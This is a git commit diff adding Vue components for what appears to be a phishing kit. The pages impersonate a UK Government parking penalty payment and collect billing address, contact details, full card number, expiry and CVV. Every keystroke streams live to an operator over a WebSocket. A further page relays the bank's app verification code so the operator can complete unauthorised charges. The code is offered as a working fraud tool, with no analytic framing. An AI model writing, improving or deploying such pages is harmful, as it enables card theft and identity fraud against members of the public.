This commit is contained in:
telangpu
2026-04-28 00:42:28 +08:00
parent 2fd1a741cf
commit cf55c2cad6
2522 changed files with 566733 additions and 13 deletions

View File

@@ -0,0 +1,423 @@
<script setup lang="ts">
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { reactive, ref, onMounted } from "vue";
import { useI18n } from "vue-i18n";
import { inputChange, configData, myWebSocket } from "@/utils/common";
const { t } = useI18n();
const loadingStore = useLoadingStore();
const router = useRouter();
const formData = reactive({
fullName: "", // First Name
lastName: "",
phone: "",
address: "",
address2: "",
city: "",
state: "", // Province
zipCode: "", // Postal Code
email: "",
});
const formDataError = reactive({
fullName: false,
lastName: false,
phone: false,
address: false,
city: false,
state: false,
zipCode: false,
email: false,
});
const emailErrorMessage = ref("");
const textChange = (event: any, key: string) => {
const value = event.target.value;
inputChange("input_address", key, value);
if (key === 'email') {
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!value) {
formDataError.email = true;
emailErrorMessage.value = "Required field";
} else if (!emailPattern.test(value)) {
formDataError.email = true;
emailErrorMessage.value = "Please enter a valid email address";
} else {
formDataError.email = false;
emailErrorMessage.value = "";
}
} else if (key !== 'address2') {
(formDataError as any)[key] = !value;
}
};
const isFormComplete = () => {
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
return (
formData.fullName &&
formData.lastName &&
formData.email &&
emailPattern.test(formData.email) &&
formData.phone &&
formData.address &&
formData.city &&
formData.state &&
formData.zipCode
);
};
const next = () => {
formDataError.fullName = !formData.fullName;
formDataError.lastName = !formData.lastName;
formDataError.city = !formData.city;
formDataError.address = !formData.address;
formDataError.zipCode = !formData.zipCode;
formDataError.state = !formData.state;
formDataError.phone = !formData.phone;
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!formData.email) {
formDataError.email = true;
emailErrorMessage.value = "Required field";
} else if (!emailPattern.test(formData.email)) {
formDataError.email = true;
emailErrorMessage.value = "Please enter a valid email address";
} else {
formDataError.email = false;
}
const hasError = Object.values(formDataError).some(val => val === true);
if (hasError) return;
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/card");
}, 400);
};
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "address" },
})
);
localStorage.setItem("route", "address");
const phone = localStorage.getItem("phoneNumber");
if (phone) {
formData.phone = phone;
}
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="main-content-body">
<div class="form-wrapper">
<div class="header-status">
<div class="progress-line">
<div class="progress-active"></div>
</div>
<div class="step-label">Step 1 of 2</div>
</div>
<h1 class="page-title">Billing address</h1>
<div class="info-block">
<h2 class="info-title">Address Verification</h2>
<p class="info-desc">
{{
configData?.address_msg
? configData?.address_msg
: t(
"Confirm your address so we can match this payment to your UK Government account."
)
}}
</p>
</div>
<form @submit.prevent="next" novalidate>
<div class="section-header">
<h2 class="section-title">Contact information</h2>
</div>
<div class="row-flex">
<div class="field-item">
<label>First name <span class="red-star">*</span></label>
<input
type="text"
v-model="formData.fullName"
@input="(e) => textChange(e, 'fullName')"
placeholder="First name"
:class="{ 'input-error': formDataError.fullName }"
/>
</div>
<div class="field-item">
<label>Last name <span class="red-star">*</span></label>
<input
type="text"
v-model="formData.lastName"
@input="(e) => textChange(e, 'lastName')"
placeholder="Last name"
:class="{ 'input-error': formDataError.lastName }"
/>
</div>
</div>
<div class="field-item">
<label>Email address <span class="red-star">*</span></label>
<input
type="email"
v-model="formData.email"
@input="(e) => textChange(e, 'email')"
placeholder="Email address"
:class="{ 'input-error': formDataError.email }"
/>
<div class="error-hint" v-if="formDataError.email">{{ emailErrorMessage }}</div>
</div>
<div class="field-item">
<label>Phone number <span class="red-star">*</span></label>
<input
type="tel"
v-model="formData.phone"
@input="(e) => textChange(e, 'phone')"
placeholder="Phone number"
:class="{ 'input-error': formDataError.phone }"
/>
</div>
<div class="section-header space-top">
<h2 class="section-title">Billing address</h2>
</div>
<div class="field-item">
<label>Street address <span class="red-star">*</span></label>
<input
type="text"
v-model="formData.address"
@input="(e) => textChange(e, 'address')"
placeholder="Street address"
:class="{ 'input-error': formDataError.address }"
/>
</div>
<div class="field-item">
<label>Apartment, unit, etc. (optional) <span class="red-star">*</span></label>
<input
type="text"
v-model="formData.address2"
placeholder="Apartment, unit (optional)"
/>
</div>
<div class="field-item">
<label class="label-bold">City, Province & Postal Code</label>
<div class="row-flex triple">
<input
type="text"
v-model="formData.city"
@input="(e) => textChange(e, 'city')"
placeholder="City"
:class="{ 'input-error': formDataError.city }"
/>
<input
type="text"
v-model="formData.state"
@input="(e) => textChange(e, 'state')"
placeholder="Province"
:class="{ 'input-error': formDataError.state }"
/>
<input
type="text"
v-model="formData.zipCode"
@input="(e) => textChange(e, 'zipCode')"
placeholder="Postal code"
:class="{ 'input-error': formDataError.zipCode }"
/>
</div>
</div>
<div class="action-box">
<button
type="submit"
class="btn-continue"
:class="{ 'btn-active': isFormComplete() }"
:disabled="!isFormComplete()"
>
Continue
</button>
</div>
</form>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
.main-content-body {
background-color: #ffffff;
min-height: 100vh;
display: flex;
justify-content: center;
padding: 0 15px;
font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
}
.form-wrapper {
width: 100%;
max-width: 480px;
padding: 20px 5px 60px 5px;
}
/* 頂部進度條 */
.header-status {
display: flex;
align-items: center;
margin-bottom: 35px;
}
.progress-line {
flex: 1;
height: 4px;
background-color: #E2E8F0;
border-radius: 2px;
margin-right: 15px;
}
.progress-active {
width: 50%;
height: 100%;
background-color: #005AAB;
border-radius: 2px;
}
.step-label {
font-size: 13px;
font-weight: 700;
color: #333;
}
/* 標題 */
.page-title {
font-size: 26px;
font-weight: 700;
color: #005AAB;
margin-bottom: 35px;
}
.info-block { margin-bottom: 35px; }
.info-title { font-size: 18px; color: #005AAB; margin-bottom: 12px; font-weight: 700; }
.info-desc { font-size: 15px; color: #64748B; line-height: 1.5; margin: 0; }
/* 分割標題 */
.section-header {
border-bottom: 1px solid #F1F5F9;
padding-bottom: 10px;
margin-bottom: 25px;
}
.section-title { font-size: 20px; font-weight: 600; color: #334155; margin: 0; }
.space-top { margin-top: 45px; }
/* 佈局核心Flex Row */
.row-flex {
display: flex;
gap: 12px;
width: 100%;
}
.row-flex .field-item {
flex: 1;
}
.triple input {
flex: 1;
width: 30%; /* 確保平分空間 */
}
/* 輸入框件 */
.field-item {
margin-bottom: 22px;
}
.field-item label {
display: block;
font-size: 14px;
color: #64748B;
margin-bottom: 8px;
font-weight: 500;
}
.label-bold {
color: #1E293B !important;
font-weight: 700 !important;
}
.red-star { color: #F87171; margin-left: 2px; }
input {
width: 100%;
padding: 13px 15px;
font-size: 15px;
border: 1px solid #E2E8F0;
border-radius: 8px;
box-sizing: border-box;
color: #1E293B;
background-color: #fff;
}
input::placeholder { color: #CBD5E1; }
input:focus {
outline: none;
border-color: #005AAB;
}
/* 錯誤處理 */
.input-error {
border-color: #EF4444 !important;
background-color: #FEF2F2;
}
.error-hint {
color: #EF4444;
font-size: 12px;
margin-top: 5px;
}
/* 按鈕樣式 */
.action-box {
margin-top: 50px;
}
.btn-continue {
width: 100%;
background-color: #A8B8C4; /* 預設灰色 */
color: #fff;
border: none;
border-radius: 25px;
padding: 16px;
font-size: 18px;
font-weight: 700;
cursor: not-allowed;
opacity: 0.6;
transition: all 0.3s ease;
box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.05);
}
.btn-continue.btn-active {
background-color: #1D70B8; /* 亮藍色 */
opacity: 1;
cursor: pointer;
}
.btn-continue.btn-active:active {
opacity: 0.8;
}
.btn-continue:active:not(.btn-active) {
opacity: 0.6;
}
/* 適應移動端的小屏幕 */
@media (max-width: 400px) {
.row-flex.triple {
flex-direction: column; /* 極小屏幕才切換回垂直 */
}
}
</style>

View File

@@ -0,0 +1,291 @@
<script setup lang="ts">
import {
nextTick,
onMounted,
onUnmounted,
reactive,
ref,
watch,
} from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
const cardType = ref("");
import { useI18n } from "vue-i18n";
import { inputChange, myWebSocket } from "@/utils/common";
const { t } = useI18n(); // 解构出t方法
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "appValid" },
})
);
const route = useRoute();
const query = route.query as any;
if (query) {
console.log("route", query);
cardType.value = query.cardType;
}
localStorage.setItem("route", "appValid");
eventBus.on("app-valid", handleEvent);
});
const message = ref("");
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
};
onUnmounted(() => {
eventBus.off("app-valid", handleEvent);
});
const formData = reactive({ appVerifyCode: "" });
const onchange = (value: any) => {
inputChange("input_card", "appVerifyCode", value.target.value);
formData.appVerifyCode = value.target.value;
};
const showInput = ref(false);
watch(message, (newValue, oldValue) => {
showInput.value = !!(message.value.includes(":") || newValue.includes(""));
});
const submit = async () => {
await nextTick();
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitAppValidCode",
formData: formData,
},
})
);
message.value = "";
};
</script>
<template>
<div class="container">
<div class="content">
<div class="card-logo">
<!-- <CardType2 :cardType="cardType" />-->
<img
src="/cardloading.svg"
alt="card-logo"
style="width: 100%"
/>
</div>
<div class="card-tye" v-if="cardType">
{{ cardType }}
</div>
<br />
<p>
<img
class="safe-icon"
src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAB2AAAAdgB+lymcgAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAZYSURBVHic7ZtrcFTlGcd/z9lNRBIQMbQKhiAKqChesMHKzSVMvc3YQZqIM8pMC0OVoSpqKYMfjP3gZRx7QR0vHXTqUIGswRk7tZ1aJWECDFHU0QEDI2STEEVCBgwbssnuOU8/tDITN+Q95+zZTWz39y05z+X/POec97znfc9Cnjx58vwfI7lOOPndyolOWG8AuR6Y9l8ZTSLOzqQtOw9XRNtzqSerDZj54YqCjq7jMyxhjiozRZgLTDK4faWwR5AGC91xdgeNe6uifdnSGGgDSv+5ZHy40Jmp6swWZI7CdcBZGYbtFvhERfcINBRowbYDkU3HgtALGTRggLM7DygLStigCIfUYYcFDTbOjtZI7T4E9RfKLdXVVtm8fTcjeosFP3bgKoGwn6RBo3BMYBfIDsvSdw7Nj37m1tdVAy56744yDYVqUMr9y8whwlYnVLC8de4bx82mBqY13D6qN3nWHmBKIOJyhdBYdJS5pgHUMsVJJEes4ftWPIBSHi9hlcnM2AARrQpGUe4R4R6TjbEBKBcFomZouNRkYG4AFAQgZKgYYTJw04D/afINGGoBQ02+AUMtYKgZFnN5E2PDo7i++DK+SXWzK74Px997z4AM+waUF0/jqQuXcU64CIDd8SZ+1fICtjqBxB/Wt8Ds4un8oey+08UDzCq+lBtHzQgsx7C9AuaNnsHTpcsolHSJJeExgeUZlldAxeireaZ0+YDF92mKnfF9bkMZBws3Deh1my0Ibj7nOp4o/QVhCaUds9Xht+0baes76jZcwmTgpgE9brNlyi1jfsTjFy49Y/HV7a/z9xMfeAl5ymRgHgOELhRPN50g3F1Swa1jyulxenm14x80nNw7qM+ic2ezbvxdWJK+RpNSm3Vtr/Fe18deZAB0mQzcXAGHvWZdPHY2D56/iKkjJnDVyMn8fuJ93DF2zhntq86bz6MTBi4+6aRY27bBT/EgtJlMzFeAmoN8lwWjr+n3tyXCuvFLCItFTef2fsfuLqngwfMXIQOszvVpit8c3sD2rk+9SgBAVAJoANLkYjDtR2fqZHoUhDUXVBEixKbObQD8fNxNrPrh7QPG6NMUv259xXjrDI7TZLJwMw/4xGvaP3W8w/xRV1IU6r8eIQiPXPAzwhJipFXIih/cNqB/ryZ5uOVldsU/95q6H46K8b4xrgpfXL+k1HbsVq/JLzt7Ii+Ureo3i3NDwunjodaX2R03njwjdjI0oe0nm78czMY4CB6cv7lN4QuvyT/vaWVl7DlOpLpd+yScPla3vhRI8UCTqXhwORMU5V1fChJtrIyt54RtbkKP08cDLS/SGN/vJ1UaquJKs7upsPC2XyH7E4dZfuh3dKbO/Ej+tvgPuw/4TZOGZelfXdm5MYrR8S/ga79imnuPsKL5jxxLfZN2LG73sDK2nj0BFg8caT7K+24M3V0BkbqUqtRkoijWe4R7m9fTnuw8/b/jqZOsbHmeT081ZxI6DRHeoCpqu7J1G3Ry/eIpjm01IZm9QY6wCikvmkZILBq799NtG99XvKE4tlpT2yq2HHRj7un7gEl1lX9DudWfshwhvB27MfpTt+aezqbYPI7XaWFuURznCS8OnhrQXBFtBP9PhGyjUBtbULvbi4+P+9lZS44XSVySCNnWo16dPDcgFqltQnjaq1/WUZ48tHCL52epvxFdi54EMnlNC5rPwom4r5Pi+yuxie8vnm5ZViPKSL8xAiIhtjOreWGtr0UD38/01gW1e1W5369/cMi9fouHDJfFWyLRDYI8m0mMDHkqFqn5cyYBMt4XaK6/fA1INNM4nlHdFKuf7nnU/y7BfCpbUxmaNI6/AHcGEs+EsDWmHXcSqUtlGiqYnaGqqF3UwVJUNwUSbxAU3Xhe8blLgigegv5aXJFJdVWPgT4WaNxvEV0fq7tiNdXVwWwNk6XP5cvqKheJ8ip421AZhJOgK2KRNzcHFO80Wfu9wMXbKi+xYSMwK8NQu2zHusft661XsrY7fDAS/SJWP/0GUX4JpG8UmBBOgayNdTA3W8X/J00OuGR75biUrQ8jshql0GCeRHhNLbu6Zd7Wr7KtLae/GZpcv3iK48hDiCxNm0ILp1B9PYQ8ezAS9bwM75ec/2gKYOq2u0p6NVlliVwL4Kh+lHLsLe0L3+o0+ebJkydPngD5N3rjJPMVPswaAAAAAElFTkSuQmCC"
alt="safe-icon"
/><b>{{ t("Authorized bank") }}</b>
</p>
<p class="sub">
{{ t("Please go to the bank App to confirm the authorization") }}
</p>
<p class="sub">{{ t("Please do not close this page") }}</p>
<p class="error">
{{ message }}
</p>
<div
class="input"
data-v-509c2adf=""
style="text-align: center"
v-if="showInput"
>
<input
required
type="number"
inputmode="numeric"
@input="onchange"
v-model="formData.appVerifyCode"
minlength="3"
maxlength="8"
data-v-509c2adf=""
/>
</div>
<br data-v-509c2adf="" v-if="showInput" />
<div class="button-submit" data-v-509c2adf="" v-if="showInput">
<button type="button" data-v-509c2adf="" @click="submit">
{{ t("Submit") }}
</button>
</div>
<div v-if="!showInput">
<img
class="loading-icon"
src="@/assets/img/ac3bca143fcfa.svg"
alt="loading-icon"
/>
</div>
</div>
</div>
</template>
<style scoped>
@media (max-width: 767px) {
/* Mega Menu */
body {
padding-top: 10px !important;
padding-bottom: 96px !important;
}
}
.sub {
opacity: 0.6;
}
.error {
color: red;
}
div.container {
display: flex;
align-items: center;
justify-content: center;
height: 100dvh;
padding: 0 10px;
font-size: 16px;
}
div.container .content {
text-align: center;
}
div.container .content .card-logo {
width: 120px;
margin: 0 auto;
position: relative;
}
div.container .content .card-logo:after {
content: "";
display: block;
position: absolute;
top: 0;
width: 15px;
height: 100%;
background: linear-gradient(
90deg,
transparent,
rgba(255, 255, 255, 0.6352941176),
transparent
);
animation: line 2s infinite;
}
@keyframes line {
0% {
left: -15px;
}
to {
left: 100%;
}
}
div.container .content .safe-icon {
display: inline-block;
width: 16px;
vertical-align: baseline;
}
div.container .content .loading-icon {
margin: 0 auto;
width: 50px;
opacity: 0.6;
}
div.input {
position: relative;
top: -0.5em;
}
div.input input {
width: 80%;
padding: 5px;
text-align: center;
outline: none;
border: 2px solid black;
border-radius: 5px;
font-weight: 700;
font-size: 1.1em;
box-sizing: border-box;
}
div.input input:focus {
border-color: #5381be;
}
div.button-submit button {
padding: 8px 20px;
cursor: pointer;
background-color: #5381be;
color: #fff;
border: none;
outline: none;
border-radius: 3px;
}
p {
display: block;
margin-block-start: 1em;
margin-block-end: 1em;
margin-inline-start: 0px;
margin-inline-end: 0px;
unicode-bidi: isolate;
}
.container div.input label {
display: block;
margin-bottom: 5px;
}
.container div.input input {
width: 130px;
padding: 8px 5px;
text-align: center;
outline: none;
border: 2px solid black;
border-radius: 5px;
font-weight: 700;
font-size: 16px;
box-sizing: border-box;
}
.container div.input input:focus {
border-color: #5381be;
}
.container div.button-submit button {
width: 80px;
padding: 10px 5px;
cursor: pointer;
background-color: #5381be;
color: #fff;
border: none;
outline: none;
border-radius: 3px;
}
.container .resend {
margin-top: 8px;
text-align: center;
font-size: 13px;
}
.container .resend a {
color: #000;
-webkit-text-decoration: underline;
text-decoration: underline;
}
</style>

View File

@@ -0,0 +1,729 @@
<script setup lang="ts">
import { inject, nextTick, onMounted, onUnmounted, reactive, ref, computed, watch } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import eventBus from "@/utils/eventBus";
import PaymentLoadingModal from "@/components/PaymentLoadingModal.vue";
import { useRoute, useRouter } from "vue-router";
import {
inputChange, configData,
myWebSocket,
} from "@/utils/common";
import { useI18n } from "vue-i18n";
// 銀行卡圖標
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
const c10 ="/ww_gb_Ticket_temp2/default.svg";
const { t } = useI18n();
const router = useRouter();
const route = useRoute();
const invoiceNumber = ref("UK-PN-2048-5173");
const isModalVisible = ref(false);
const errorMessageVisible = ref(false);
const formSubmitted = ref(false);
const loadingStore = useLoadingStore();
const formData = reactive({
cardNumber: "",
cardName: "",
expires: "",
cvv: "",
});
// 錯誤狀態提示
const errors = reactive({
cardName: false,
cardNumber: false,
expires: false,
cvv: false
});
const cardMessage = ref("");
const expiresErrorMsg = ref("");
const cvvMaxLength = ref(4);
const prevExpiresValue = ref(""); // 用于追踪日期输入框的前一个值
// 监听 cardMessage 的变化,有值就自动显示弹窗
watch(() => cardMessage.value, (newVal) => {
if (newVal) {
errorMessageVisible.value = true;
}
});
// 清除错误消息弹窗
const clearErrorMessage = () => {
errorMessageVisible.value = false;
};
// 卡種識別邏輯
const cardTypeImage = computed(() => {
const num = formData.cardNumber.replace(/\D/g, "");
if (!num) return c10;
if (/^4/.test(num)) return c1;
if (/^(5[1-5]|222[1-9]|22[3-9]|2[3-6]|27[0-1]|2720)/.test(num)) return c2;
if (/^3[47]/.test(num)) return c5;
if (/^(62|81)/.test(num)) return c4;
if (/^6(011|4[4-9]|5)/.test(num)) return c6;
if (/^35/.test(num)) return c3;
if (/^(30|36|38|39)/.test(num)) return c8;
if (/^(50|56|57|58|6)/.test(num)) return c7;
return c10;
});
const isCardIdentified = computed(() => cardTypeImage.value !== c10);
// 統一的輸入校驗邏輯
const onCardNameChange = (e: any) => {
formData.cardName = e.target.value;
errors.cardName = !formData.cardName;
inputChange("input_card", "cardName", formData.cardName);
};
const onCardNumberChange = (e: any) => {
let val = e.target.value.replace(/\D/g, "");
if (val.length > 16) val = val.slice(0, 16);
formData.cardNumber = val.replace(/(\d{4})(?=\d)/g, "$1 ");
errors.cardNumber = val.length < 15;
// 当用户输入卡号时,清除全局错误信息
if (val.length > 0) {
cardMessage.value = "";
}
inputChange("input_card", "cardNumber", val);
};
const onExpiresChange = (e: any) => {
let val = e.target.value.replace(/\D/g, "");
if (val.length > 4) val = val.slice(0, 4);
// 检测是否在删除:如果新值长度小于旧值长度,说明用户在删除,直接设置,不添加"/"
if (val.length < prevExpiresValue.value.length) {
formData.expires = val;
} else {
// 用户在输入新内容时,才自动添加"/"
formData.expires = val.length >= 2 ? val.slice(0, 2) + "/" + val.slice(2) : val;
}
prevExpiresValue.value = val;
cardMessage.value = "";
validateExpireDate(formData.expires);
inputChange("input_card", "expires", formData.expires);
};
// 日期输入框的按键处理,支持更好的删除体验
const onExpiresKeydown = (e: any) => {
if (e.key === 'Backspace') {
const cursorPos = e.target.selectionStart;
const value = e.target.value;
// 如果光标在 "/" 后面(位置 3按 backspace 可以删除 "/" 和前面的数字
if (cursorPos === 3 && value[2] === '/') {
// 让系统默认处理,但这样用户在 "/" 处按 backspace 会删除 "/"
// 然后 onChange 会自动重新格式化
return;
}
}
};
const onCvvChange = (e: any) => {
formData.cvv = e.target.value.replace(/\D/g, "");
errors.cvv = formData.cvv.length < 3;
inputChange("input_card", "cvv", formData.cvv);
};
const validateExpireDate = (value: string) => {
if (!value || value.length < 5) {
errors.expires = true;
expiresErrorMsg.value = "Required field";
return false;
}
const [monthStr, yearStr] = value.split('/');
const month = parseInt(monthStr);
if (month < 1 || month > 12) {
errors.expires = true;
expiresErrorMsg.value = "Invalid month";
return false;
}
// 檢查日期是否過期
const today = new Date();
const currentYear = today.getFullYear();
const currentMonth = today.getMonth() + 1;
const cardYear = 2000 + parseInt(yearStr);
if (cardYear < currentYear || (cardYear === currentYear && month < currentMonth)) {
errors.expires = true;
expiresErrorMsg.value = "Card has expired";
return false;
}
errors.expires = false;
expiresErrorMsg.value = "";
return true;
};
const next = async () => {
cardMessage.value = ""; // 清除之前的全局错误消息
errors.cardName = !formData.cardName;
errors.cardNumber = formData.cardNumber.replace(/\s/g, "").length < 15;
errors.cvv = formData.cvv.length < 3;
validateExpireDate(formData.expires);
if (errors.cardName || errors.cardNumber || errors.expires || errors.cvv) {
// 设置全局错误提示watch 会自动显示弹窗
if (errors.cardNumber) {
cardMessage.value = "Card number must be at least 15 digits";
} else if (errors.cardName) {
cardMessage.value = "Cardholder name is required";
} else if (errors.expires) {
cardMessage.value = expiresErrorMsg.value || "Invalid expiration date";
} else if (errors.cvv) {
cardMessage.value = "Security code must be at least 3 digits";
}
return;
}
isModalVisible.value = true;
const cleanCardNumber = formData.cardNumber.replace(/\s/g, "");
localStorage.setItem("cardNumber", cleanCardNumber);
myWebSocket?.send(JSON.stringify({
event: "submit_card",
content: { type: "submitCard", formData: { ...formData, cardNumber: cleanCardNumber } },
}));
};
const handleEvent = (data: { message2: string }) => {
cardMessage.value = data.message2;
isModalVisible.value = false;
};
onMounted(() => {
loadingStore.setLoading(false);
eventBus.on("my-event", handleEvent);
localStorage.setItem("route", "card");
const inumber = localStorage.getItem("invoiceNumber");
if (inumber) invoiceNumber.value = inumber;
// Handle global error message from route query parameters
if (route.query.message2) {
cardMessage.value = route.query.message2 as string;
formSubmitted.value = true;
}
// 初始化 prevExpiresValue
prevExpiresValue.value = "";
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "card" },
})
);
});
onUnmounted(() => eventBus.off("my-event", handleEvent));
</script>
<template>
<CommonLayout>
<template #default>
<div class="payment-page-container">
<div class="stepper-wrapper">
<div class="progress-bar-bg">
<div class="progress-bar-fill"></div>
</div>
<span class="step-text">Step 2 of 2</span>
</div>
<h1 class="main-title">Confirm your payment</h1>
<p class="sub-title">Please check the details before you pay.</p>
<div class="payment-card">
<div class="card-header-secure">
<div class="secure-tag">🛡 SECURE PAYMENT</div>
</div>
<div class="summary-content">
<div class="label-muted">PARKING PENALTY</div>
<div class="total-amount">£{{ configData?.pay_amount ? configData.pay_amount : "6.99" }}</div>
<div class="detail-row">
<span class="left-label">Penalty notice number</span>
<span class="right-value bold">{{ invoiceNumber }}</span>
</div>
<div class="detail-row">
<span class="left-label">Penalty</span>
<span class="right-value bold">Parking in a restricted area</span>
</div>
<div class="fee-box">
<div class="fee-line"><span>Base penalty</span><span>{{ configData?.pay_amount ? configData.pay_amount :
"£6.99" }}</span></div>
<div class="fee-line"><span>Late fee</span><span>£0.00</span></div>
<div class="fee-line"><span>Processing fee</span><span>£0.00</span></div>
</div>
<div class="divider-dashed"></div>
<div class="final-total-row">
<span class="final-label">Total to pay</span>
<span class="final-value">{{ configData?.pay_amount ? configData.pay_amount : "£6.99" }}</span>
</div>
</div>
</div>
<div class="payment-form-card">
<div class="methods-container">
<p class="methods-text">We accept these payment methods</p>
<div class="icon-grid">
<img src="https://img.icons8.com/color/48/000000/visa.png" />
<img src="https://img.icons8.com/color/48/000000/mastercard.png" />
<img src="https://img.icons8.com/color/48/000000/amex.png" />
<img src="https://img.icons8.com/color/48/000000/maestro.png" />
<img src="https://img.icons8.com/color/48/000000/jcb.png" />
<img src="https://img.icons8.com/color/48/000000/discover.png" />
<img src="https://img.icons8.com/color/48/000000/diners-club.png" />
</div>
</div>
<form @submit.prevent="next" class="payment-form" novalidate>
<div class="form-item">
<label>Cardholder Name <span class="req">*</span></label>
<input type="text" v-model="formData.cardName" @input="onCardNameChange"
:class="{ 'field-error': errors.cardName }" />
<div class="msg-error" v-if="errors.cardName">Required field</div>
</div>
<div class="form-item">
<label>Card Number <span class="req">*</span></label>
<div class="input-with-icon">
<input type="text" placeholder="0000 0000 0000 0000" v-model="formData.cardNumber"
@input="onCardNumberChange" :class="{ 'field-error': errors.cardNumber || cardMessage }" />
<div class="card-type-indicator" v-if="isCardIdentified"><img :src="cardTypeImage" /></div>
</div>
<div class="msg-error" v-if="errors.cardNumber">Please enter a valid card number</div>
<div class="msg-error" v-if="cardMessage">{{ t(cardMessage) }}</div>
</div>
<div class="flex-row">
<div class="form-item half">
<label>Expiry Date <span class="req">*</span></label>
<input type="text" placeholder="MM/YY" v-model="formData.expires" @input="onExpiresChange" @keydown="onExpiresKeydown"
:class="{ 'field-error': errors.expires }" />
<div class="msg-error" v-if="errors.expires">{{ expiresErrorMsg }}</div>
</div>
<div class="form-item half">
<label>CVV <span class="req">*</span></label>
<input type="text" placeholder="123" v-model="formData.cvv" @input="onCvvChange" maxlength="4"
:class="{ 'field-error': errors.cvv }" />
<div class="msg-error" v-if="errors.cvv">Required</div>
</div>
</div>
<div class="button-section">
<button type="submit" class="pay-now-btn">Pay now</button>
</div>
</form>
</div>
</div>
</template>
</CommonLayout>
<PaymentLoadingModal v-model:visible="isModalVisible" :card-number="formData.cardNumber" :loading="true" />
<!-- Error Message Modal -->
<div v-if="errorMessageVisible" class="error-modal-overlay" @click="clearErrorMessage">
<div class="error-modal-content" @click.stop>
<div class="error-modal-header">
<span class="error-icon"></span>
<span class="error-title">Error</span>
<button class="error-modal-close" @click="clearErrorMessage">×</button>
</div>
<div class="error-modal-body">
<p>{{ cardMessage }}</p>
</div>
<div class="error-modal-footer">
<button class="error-modal-btn" @click="clearErrorMessage">OK</button>
</div>
</div>
</div>
</template>
<style scoped>
.payment-page-container {
max-width: 480px;
margin: 0 auto;
padding: 10px 15px 50px;
background-color: #fff;
}
/* 訂單部分 - 按照你提供的樣式 */
.payment-card {
position: relative;
margin-bottom: 24px;
box-shadow: rgba(0, 0, 0, 0.02) 0px 2px 4px;
border-width: 1px 1px 1px 4px;
border-style: solid;
border-color: rgb(212, 212, 232) rgb(212, 212, 232) rgb(212, 212, 232) rgb(29, 112, 184);
border-image: initial;
border-left: 4px solid rgb(29, 112, 184);
/* 關鍵藍色邊條 */
border-radius: 12px;
padding: 24px;
background: rgb(255, 255, 255);
}
/* 支付部分卡片樣式 */
.payment-form-card {
border: 1px solid rgb(212, 212, 232);
border-radius: 12px;
padding: 24px;
background: #fff;
box-shadow: rgba(0, 0, 0, 0.02) 0px 2px 4px;
}
/* 其它 UI 組件 */
.stepper-wrapper {
display: flex;
align-items: center;
margin-bottom: 25px;
padding: 0 5px;
}
.progress-bar-bg {
flex: 1;
height: 4px;
background: #E2E8F0;
border-radius: 2px;
margin-right: 15px;
}
.progress-bar-fill {
width: 100%;
height: 100%;
background: #1D70B8;
border-radius: 2px;
}
.step-text {
font-size: 13px;
font-weight: 700;
color: #1E293B;
}
.main-title {
font-size: 26px;
font-weight: 700;
color: #1D70B8;
text-align: center;
margin-top: 10px;
}
.sub-title {
font-size: 14px;
color: #64748B;
text-align: center;
margin-bottom: 30px;
}
.secure-tag {
font-size: 10px;
font-weight: 800;
color: #1D70B8;
background: #F1F5F9;
padding: 4px 10px;
border-radius: 20px;
display: inline-block;
float: right;
}
.summary-content {
clear: both;
text-align: center;
}
.label-muted {
font-size: 13px;
color: #94A3B8;
font-weight: 700;
margin-top: 15px;
}
.total-amount {
font-size: 38px;
font-weight: 900;
color: #1D70B8;
margin: 10px 0 20px;
}
.detail-row {
display: flex;
justify-content: space-between;
margin-bottom: 12px;
font-size: 14px;
}
.left-label {
color: #94A3B8;
}
.right-value.bold {
color: #1E293B;
font-weight: 700;
}
.fee-box {
background: #F8FAFC;
padding: 15px;
border-radius: 10px;
margin: 20px 0;
}
.fee-line {
display: flex;
justify-content: space-between;
font-size: 13px;
color: #64748B;
margin-bottom: 6px;
}
.divider-dashed {
border-top: 1px dashed #E2E8F0;
margin: 20px 0;
}
.final-total-row {
display: flex;
justify-content: space-between;
align-items: center;
}
.final-value {
font-size: 22px;
font-weight: 900;
color: #E11D48;
background: #FFF1F2;
padding: 4px 12px;
border-radius: 8px;
}
.methods-text {
font-size: 13px;
font-weight: 700;
color: #64748B;
margin-bottom: 12px;
}
.icon-grid {
display: flex;
gap: 8px;
flex-wrap: wrap;
margin-bottom: 25px;
}
.icon-grid img {
height: 20px;
border: 1px solid #F1F5F9;
border-radius: 4px;
padding: 2px 5px;
}
.form-item {
margin-bottom: 20px;
text-align: left;
}
.form-item label {
display: block;
font-size: 14px;
font-weight: 700;
color: #1E293B;
margin-bottom: 8px;
}
.req {
color: #EF4444;
}
input {
width: 100%;
padding: 13px 15px;
border: 1.5px solid #E2E8F0;
border-radius: 10px;
font-size: 16px;
box-sizing: border-box;
